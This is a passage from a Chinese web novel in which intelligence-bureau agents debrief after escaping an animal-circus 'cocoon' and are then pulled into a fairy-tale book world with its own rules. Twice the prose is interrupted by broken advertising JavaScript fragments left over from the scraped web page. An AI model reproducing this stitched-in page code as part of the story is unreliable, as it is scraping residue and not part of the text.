也不知睡了多久,隐藏着小房间的书柜动了,是那头老虎进来,叼起权杖就走了。期间,它只看了齐旬儒一眼,什么话都没说。 齐旬儒被吵醒后,便再也睡不着了,一边担心同伴们的状况,一边害怕出去后会被骂。 就在他还在猜测自己是不是进到一个动物园里时,书柜的门再次动了,是红狐狸,和一只戴着珍珠项链的秃鹫。 红狐狸对秃鹫说:“很感谢您愿意提前一夜赶来,人戏团有这么大一个隐患在,我实在是无法安睡。请您谅解。” 秃鹫点点头,表示自己能理解。然后它便朝八哥走去,在鸟笼前站定。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> “听团长说,你是背叛者?”没等八哥回答,秃鹫就提出了下一个问题:“你们要做什么。” 齐旬儒不知道它要干什么,老实回答:“不知道。” 是真话。 秃鹫微眯着眼睛,再问:“0209是什么意思?” “不知道。” “你的三个同伴是谁?” “不知道。” “你们什么时候行动?” “不知道。” 面对一问三不知的八哥,秃鹫再次提出一个相同的问题:“你是叛徒吗?” 这个问题的答案只有是和不是,再用“不知道”糊弄过去,也会证实了他就是叛徒。 虽然齐旬儒也无法辨别自己是不是叛徒,但从红狐狸的反应来看,在它面前承认自己是叛徒不会是一个明智的选择。 齐旬儒回应:“不是。” 齐旬儒撒谎了。 秃鹫直直地盯着八哥:“真的不是吗?” “真的不是。” 秃鹫问完话了,朝身旁的红狐狸说:“团长,它确实是叛徒。” “但不知为什么,它确实不知道同伴以及特别行动是什么。”秃鹫向来优雅的脸上,罕见地出现一丝疑惑。 红狐狸沉吟片刻,说道:“也许,它是真的不知道呢?” 说完,红狐狸转身离开了它的办公室,一会儿就回来了。再过多一会儿,一只乌鸦出现在办公室。 然后齐旬儒再次被关进书柜后的小房间,时不时被拉出去重复上演一问三不知,激怒狐狸的戏码。 直至一只乌龟出现到它的鸟笼前。 听完齐旬儒的讲述,在场的人面色各异。秦温阳面无表情的看着齐旬儒,江宜的嘴角抽了又抽,宋况则是掩不住的幸灾乐祸。 时望还在低头把玩着茶杯,思考情报局招人的标准到底是什么。 孟甫言的眼皮似是抽动了两下,随后她捏了一下眉心,叹了一口气:“我待会儿还有一个会议要开,我先走了。回头江宜你再把书面报告发给我。” 江宜勉强正色说:“好的。” 孟甫言拿着进门时带来的文件,朝会议室门外走出,正要推门时,似是想起了什么:“温阳,三天后交一份检讨给我。” 秦温阳一脸冷漠地应道:“哦。” 待孟甫言走后,秦温阳干巴巴地给齐旬儒鼓了两下掌:“干得不错。” 并对他加量不加价:“两天后交两份检讨给我。” 24. 睡不着小故事(1) 齐旬儒喜提两份检讨后,其余三人也陆续陈述各自在茧里的经历,时望是最后一个。 江宜则一直在低头做记录,时望讲述完毕后,江宜缓缓吐出一口气,有意无意地看了一眼不争气的齐旬儒。 混成这样还能全须全尾地出来,不得不说也是一种本事。 齐旬儒看不懂这个目光的含义,但总觉得自己还是不要懂比较好。 江宜问道:“我有个问题。”她滑动鼠标滑轮反复查看方才做的记录,确定没有找到答案,“特别行动的目的是什么?” 秦温阳也看着自己的电脑屏幕,淡淡地说:“夺权。” 江宜还是有点不明白:“谁夺权?” 两道不同的声音同时响起。 秦温阳:“狮子。” 时望:“人类。” 秦温阳抬头看向时望,思索片刻后改口:“嗯,是人类。” 江宜与宋况来回看着原本说出不同答案的两人,不知道秦温阳为什么这么快就倒向了时望的答案。 时望放下手中的茶杯,用手指在桌上画出一个“狮”字:“其实秦组长说得也对。” “狮子是明面上的夺权者,但整个计划实则是为人类夺权做准备的。”时望的手指又画出一个“人”字,“人类怂恿狮子当团长,实则人类想要黄金心脏。” 秦温阳接着补充:“黄金心脏就是这个茧的能量根源。” “多亏了你最后把黄金心脏扔到锻造炉了。”秦温阳看着时望,不吝啬地夸奖道。 一直没说话的宋况也连连点头:“对啊对啊,多亏了望姐!” 江宜正想再问点什么,就看到时望的耳朵尖染上一抹粉红,再联想与时望的第一次交谈,时望问啥说啥的乖巧模样。 江宜感觉自己知道了一个可以逗时望的小妙招。 “时小姐你居然知道要毁掉黄金心脏,真的好厉害啊!”江宜如愿看到时望的耳朵越来越红,当下就忍不住笑,“你是怎么知道要这么做的呢?” 时望使劲压下脸上的热意,努力不在夸奖中迷失自己:“因为整个开心人戏团的秩序并不是红狐狸或者老虎等几个动物就能建立的,必须要有强大的外部力量介入。” “而黄金心脏就在代表权力的权杖上,并且在开心表演中,红狐狸似乎不能控制权杖。”时望耳尖的粉红逐渐消退,总算可以自然地看着江宜她们。 “简单来说,不是团长可以拥有权杖,而是拥有权杖就是团长。”时望举杯喝完茶杯里的茶润嗓,“那销毁权杖,就不会再有团长,更不会有开心人戏团了。” 江宜点点头,表示明白:“我没有别的问题了,在座各位还有什么问题吗。” 一直努力降低存在感的齐旬儒此时还是忍不住问道:“为什么你们都不帮助那个男人?万一他真的是人类呢?” 宋况率先发言:“呵,男人没一个好东西。” 其余人:…… 宋况一句话就把齐旬儒给噎住了,他涨红了脸垂头,小声说:“不能说得这么绝对的。” 宋况还想继续刺齐旬儒几句,却被秦温阳打断了。 秦温阳说:“因为他非我族类,以及我们仅仅是不帮他,并没有去害过他。” 齐旬儒闻言,睁大了眼睛看着秦温阳,惊讶地问:“就因为他是男的,就跟你们不是同类了吗?” 宋况冷笑:“哼,你知道就好。” 秦温阳,时望:…… 这两人的脑回路以一种奇怪的方式拼接上了。 善解人意的江宜马上替他解围:“温阳的意思是,你们在茧里都是动物,那个男人作为唯一的人类,就是很可疑的。” “以及最后茧崩塌了,如果他真是人类,也已经出来了。”江宜耐心地解释秦温阳的话。 时望轻轻摇头:“那个男人明显渴望得到黄金心脏,大概率不是一个正常人了。” 齐旬儒还记得最后男人嘶吼的样子,终于想明白了。他向秦温阳诚恳地道歉:“对不起,组长,是我误会了。” 秦温阳还没说什么,宋况反而先响亮地“哼”了一句。 时望:……多大仇啊。 随后,齐旬儒认真地看着时望,说:“谢谢你救了我,也谢谢你带我出了茧。你真的很厉害!” 时望随便回应道:“不客气,秦组长和宋况才是帮了大忙。” 江宜看向时望的耳朵,这回时望的耳朵没有变红。 看来也不是谁夸都会害羞,江宜想。 还挺可爱。 “那请问很厉害的时小姐,你有意向加入我们情报局了吗?”江宜调笑着说。 话音刚落,行动组三人一同看向时望。 “对哦!望姐你还没加入我们行动组!你就加入嘛!”宋况对着时望撒娇。 时望抚摸茶杯的手紧了紧,顶着多重目光的压力,轻轻地摇了摇头:“还是不了吧。” 说完,时望拿起茶杯喝了一口茶,掩饰眼下的情绪。 宋况非常不理解:“为什么啊望姐?我真的超级喜欢你的!” 被当众表白的时望耳朵又慢慢爬上了粉红,她稍稍正色,说:“我有正式的工作,交不了两份社保。” 江宜:…… 江宜知道时望会找理由搪塞宋况,但还是被她随便找的理由给无语到了。 “你别理宋况,这小丫头片子见一个漂亮的女孩就表白一个,整个情报局都被她喜欢遍了,花心得很。”江宜假意嗔怪,阻止宋况继续缠着时望。她深知强求不来。 江宜温柔地笑着说:“那以后有缘再说咯。” 时望点点头,专注地看着茶杯里的茶叶。 “没什么事的话,可以散会了。”江宜站起身,“感谢时小姐参加我们的报告会议。” 江宜看了一下自己的电脑:“我再整理一下报告,你们仨送一下时小姐吧。” 宋况马上应好,行动组三人与时望一同站起身走出了会议室。 “我哪有江宜姐说的这么花心。”宋况熟稔地挽着时望,嘟囔着:“我只是喜欢每一个厉害的女孩子而已。” “情报局的大家都很厉害诶。”宋况向时望澄清自己。 时望轻笑着哄她:“你也很厉害。” “嘿嘿。”正被哄得五迷三道的宋况忽然发现地上有一本书,她弯腰将书捡了起来。 “睡前小故事?”宋况站定在过道上,念出封面上的五个字。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 紧随其后的秦温阳和齐旬儒被挡住路,正奇怪前面发生了什么事。 时望也看了眼书本的封面:“可能是谁落在这的?” 宋况摇摇头:“咱局里的人都不像是这本书的受众。”说着,她翻开了书,简单扫了一眼第一页的内容。 “很久很久以前,冰蓝王国有一位受尽宠爱的公主,名为梦冰蓝.凝儿……” 宋况皱了皱眉:“什么公主能起这名儿啊?这玛丽苏文学吧?” 时望听到这个名字时,一个不祥的预感涌上心头,但还没来得及说什么,就听到秦温阳的声音。 “宋况,快放下这本书!” 宋况虽然还不知道发生了什么,但她向来很听秦温阳的话。她正要将这本书丢到远处时,整个人就瞬间被吸进书里。 童话书从半空中落下。 时望下意识伸出手去拉宋况:“宋……” 但她还没说完,话音就淹没在童话书里,原本围着童话书的四人一同原地消失。 听到警报声的江宜匆忙从会议室里出来,见不到人,也见不到书。 只知道又有人进到茧里了。 --- 好晃。 时望在一阵颠簸中睁开眼睛。 眼前是一个狭小但装饰华丽的空间,时望脚下是刷成白色的实木铺成的平面,她正坐在雕刻着精美花纹的长椅上。 她的身前还有一张洁白的小木桌,其上有着一套做工精湛的西式茶具,杯里的红茶被颠簸得不停往外溅。 时望挑了挑眉,到底是哪个大聪明在脑浆都要被晃匀的马车上泡茶。 时望观察周边环境片刻,才低头打量自己的穿着。她正穿着雪白的衬衫,脖子处有繁杂的领花,衬衫外是一件正敞开着的黑底金纹的长外套,搭配黑色长裤和黑色长靴。 还有一件黑色披风搭在长椅旁。 英式复古宫廷风的装扮。 虽然不是很日常的装扮,但时望觉得这个茧比上个茧要好,至少在这里她还是人。 时望的手摸了摸裤子的口袋,摸到了熟悉的小方块——被叠起来的契约纸。 她将契约纸展开,先看向契约纸的左半部分,也就是自身异能状态详情栏。时望本意是看一下现在有多少情绪能量值,但却意外地看到了新的内容。 [异能:情绪感知 异能等级:D(一个比较敏感的人而已) 情绪能量值:11 能力描述:没啥用就是了。] 异能升级了。相关的描述也有一点小变化,但和之前区别不大,这破契约纸还是很有自己的想法。 别的可以回去问江宜她们,当务之急还是先兑换规则。时望展开了契约纸的右半部分,左边的情绪能量值瞬间从11变为2。 看来这个茧只有9条规则。 但是,时望刚看完第一条规则,脸部的肌肉就不受控制地抽了抽。 只见规则纸上第一条赫然是: [睡不着小故事规则指南 1.你是炫辰国的王子,夜炫辰.羽灭,凝儿公主的未婚夫。] 时望觉得,这个酷炫的名字,在葬爱家族里,高低都得是大少的地位。